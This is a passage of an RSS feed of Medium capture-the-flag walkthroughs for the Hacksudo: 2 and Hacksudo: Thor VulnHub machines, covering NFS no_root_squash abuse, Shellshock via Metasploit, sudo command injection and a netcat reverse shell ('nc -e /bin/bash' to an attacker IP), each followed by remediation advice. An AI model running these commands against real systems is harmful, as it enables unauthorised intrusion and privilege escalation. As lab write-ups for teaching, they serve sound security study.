the server, allowing you to get a root-owned binary executed locally.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*5XrIL_R4PpxkbWYN02cqqg.png" /><figcaption>The executed /mnt/nfs/bash -p command on the target and resulting whoami output showing root.</figcaption></figure><p><strong>Result:</strong> Root shell obtained.</p><h3>🛡 Recommendations &amp; Remediation</h3><p><strong>Harden NFS configuration</strong></p><ul><li><strong>Disable</strong> any unnecessary NFS exports immediately or restrict access with host-level controls.</li><li><strong>Remove</strong> no_root_squash (use root_squash) — default behavior maps remote root -&gt; nobody.</li><li>Use <strong>export options</strong> that restrict write access, e.g. ro for read-only where appropriate.</li><li>Restrict exports to specific hosts/networks, not *.</li></ul><p><strong>General best practices</strong></p><ul><li>Limit which services can write files used by web services — never allow a webserver to execute code from a world-writable share.</li><li>Use proper file permissions and ownership, and regularly audit exported directories.</li><li>Monitor for unexpected mounts, exports, or changes to critical binaries.</li></ul><h3>✅ Conclusion</h3><p>Hacksudo: 2 demonstrates how an insecure NFS export combined with a simple web LFI can lead to full system compromise. Always assume network file systems are sensitive — misconfiguration like no_root_squash is a high-risk setting that should be avoided in production.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1dadeab1f34" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacksudo: Thor CTF | Technical Walkthrough]]></title>
            <link>https://medium.com/@basitolasubomibalogun/hacksudo-thor-ctf-technical-walkthrough-0af8eea2608a?source=rss-c920845a8acd------2</link>
            <guid isPermaLink="false">https://medium.com/p/0af8eea2608a</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vulnhub]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Basit Olasubomi Balogun]]></dc:creator>
            <pubDate>Thu, 25 Sep 2025 13:02:50 GMT</pubDate>
            <atom:updated>2025-09-25T13:02:50.955Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cV-10Oezy5q6lpPVpuCFAg.png" /></figure><h3>Discovery</h3><p><strong>Objective:</strong> Identify the target and exposed services.</p><p>I started with an <strong>Nmap scan</strong>:</p><pre>nmap -sV -A &lt;target-ip&gt;</pre><p><strong>Discovered open ports:</strong></p><ul><li><strong>Port 80</strong> — HTTP</li><li><strong>Port 21</strong> — FTP</li><li><strong>Port 22</strong> — SSH</li></ul><p><strong>Insight:</strong> The target exposes web and remote connection services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e0LF-RAsJogVjnhKaXWg1A.png" /><figcaption>Nmap scan output showing open ports</figcaption></figure><h3>Enumeration</h3><p><strong>Goal:</strong> Uncover hidden directories and potential entry points.</p><ul><li>Ran <strong>Nikto</strong> on the web server and discovered a <strong>README file</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h4gOpthKkKhEbXTPo8ItMA.png" /><figcaption>Nikto scan highlighting the README.md file.</figcaption></figure><ul><li>Ran <strong>Gobuster</strong> on port 80:</li></ul><pre>gobuster dir -u http://&lt;target-ip&gt;/ -w /usr/share/dirb/wordlists/common.txt -x .php,.php.bak,.log,.html,.txt,.jpg,.zip,.pdf,.git,.bak</pre><p>This uncovered <strong>/cgi-bin</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*73O7inobt1YG4WgOcUzpiQ.png" /><figcaption>Gobuster results with /cgi-bin</figcaption></figure><ul><li>Performed another <strong>Gobuster scan</strong> on /cgi-bin and uncovered two scripts: backup.cgi shell.sh</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tg86QdljMKn5AhkidpuJWg.png" /><figcaption>Gobuster results for /cgi-bin</figcaption></figure><h3>Foothold</h3><p><strong>Objective:</strong> Gain initial access.</p><ul><li>From Nikto results, the <strong>/README.md</strong> file exposed <strong>admin credentials</strong> for /admin_login.php.</li><li>Since /cgi-bin was exposed and is often vulnerable to <strong>Shellshock</strong>, I leveraged <strong>Metasploit</strong>:</li></ul><pre>msfconsole<br>use exploit/multi/http/apache_mod_cgi_bash_env_exec<br>set RHOSTS &lt;target-ip&gt;<br>set TARGETURI /cgi-bin/shell.sh<br>set LHOST &lt;attacker-ip&gt;<br>set LPORT &lt;attacker-port&gt;<br>exploit</pre><ul><li>Execution was successful, and I gained a shell as <strong>www-data</strong>.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y6LxjpWJ1USOaIfu5lIWFQ.png" /><figcaption>Metasploit session opened as www-data</figcaption></figure><h3>Privilege Escalation</h3><p><strong>Objective:</strong> Escalate privileges to root.</p><h3>Step 1 — Horizontal Escalation (www-data → thor)</h3><ul><li>Running sudo -l as www-data revealed the ability to run:</li></ul><pre>/home/thor/./hammer.sh</pre><ul><li>The script was vulnerable to <strong>command injection</strong>.</li><li>Exploited it to gain access as <strong>thor</strong>:</li></ul><pre>sudo -u thor /home/thor/./hammer.sh<br>nc -e /bin/bash &lt;attacker-ip&gt; 1010</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L3V7AaqXt-lucZuMbwXFSg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/797/1*8uKJHNTDsrHyjv5jS9NAQA.png" /><figcaption>Reverse shell received as user thor</figcaption></figure><h3>Step 2 — Vertical Escalation (thor → root)</h3><ul><li>Enumeration with sudo -l as thor revealed /usr/bin/service could be run with root privileges.</li><li>According to <strong>GTFOBins</strong>, service can be exploited:</li><li>This provided a root shell.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Hv8m4NCTv06z_4pMK_9QWQ.png" /><figcaption><strong>GTFOBins</strong></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OgNj-DSWvu6LEj8rJMNepQ.png" /><figcaption>Root shell after exploiting service.</figcaption></figure><h3>Recommendations</h3><ol><li><strong>Patch CGI vulnerabilities</strong></li></ol><ul><li>Apply vendor updates to fix mod_cgi.</li><li>Disable mod_cgi if unused.</li><li>Restrict access to /cgi-bin.</li></ul><p><strong>2. Remove exposed credentials</strong></p><ul><li>Remove sensitive credentials from README.md.</li><li>Rotate all exposed passwords immediately.</li></ul><p><strong>3. Restrict sudo privileges</strong></p><ul><li>Remove unnecessary sudo permissions from scripts like hammer.sh and binaries like service.</li><li>Enforce principle of least privilege.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0af8eea2608a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>